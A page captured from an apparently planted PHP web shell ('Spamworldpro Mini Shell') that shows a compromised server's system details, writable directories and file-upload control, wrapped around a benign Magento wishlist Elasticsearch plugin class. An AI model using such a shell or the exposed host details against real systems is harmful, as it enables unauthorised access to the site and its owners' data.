Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/cartforge.co/app/code/Amasty/MWishlist/Plugin/Elasticsearch/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/cartforge.co/app/code/Amasty/MWishlist/Plugin/Elasticsearch/AbstractQueryPlugin.php
<?php

declare(strict_types=1);

/**
 * @author Amasty Team
 * @copyright Copyright (c) Amasty (https://www.amasty.com)
 * @package Multiple Wishlist for Magento 2
 */

namespace Amasty\MWishlist\Plugin\Elasticsearch;

use Amasty\MWishlist\Model\Product\Search;
use Magento\Catalog\Model\Product;
use Magento\Eav\Model\Config as EavConfig;
use Magento\Framework\Search\RequestInterface;

abstract class AbstractQueryPlugin
{
    /**
     * @var EavConfig
     */
    private $eavConfig;

    public function __construct(EavConfig $eavConfig)
    {
        $this->eavConfig = $eavConfig;
    }

    /**
     * @param RequestInterface $request
     * @param array $shouldQuery
     * @return bool
     */
    protected function isMWishlistContainer(RequestInterface $request, array $shouldQuery): bool
    {
        return $request->getName() == Search::CONTAINER_NAME
            && isset($shouldQuery['body']['query']['bool']['should']);
    }

    /**
     * @param string $searchTerm
     * @return string
     */
    protected function wrapWildcard(string $searchTerm)
    {
        return sprintf('*%s*', trim($searchTerm, '*'));
    }

    /**
     * @param array $shouldQuery
     * @return array
     */
    protected function processShouldQuery(array $shouldQuery): array
    {
        $queryList = $shouldQuery['body']['query']['bool']['should'];
        foreach ($queryList as $index => $query) {
            $queryList[$index] = $this->modifyQuery($query);
        }
        $shouldQuery['body']['query']['bool']['should'] = $queryList;

        return $shouldQuery;
    }

    /**
     * @param string $attrCode
     * @return mixed
     * @throws \Magento\Framework\Exception\LocalizedException
     */
    protected function getBoostByCode(string $attrCode)
    {
        return $this->eavConfig->getAttribute(Product::ENTITY, $attrCode)->getSearchWeight();
    }

    /**
     * @param array $query
     * @return array
     */
    abstract protected function modifyQuery(array $query): array;
}

Spamworldpro Mini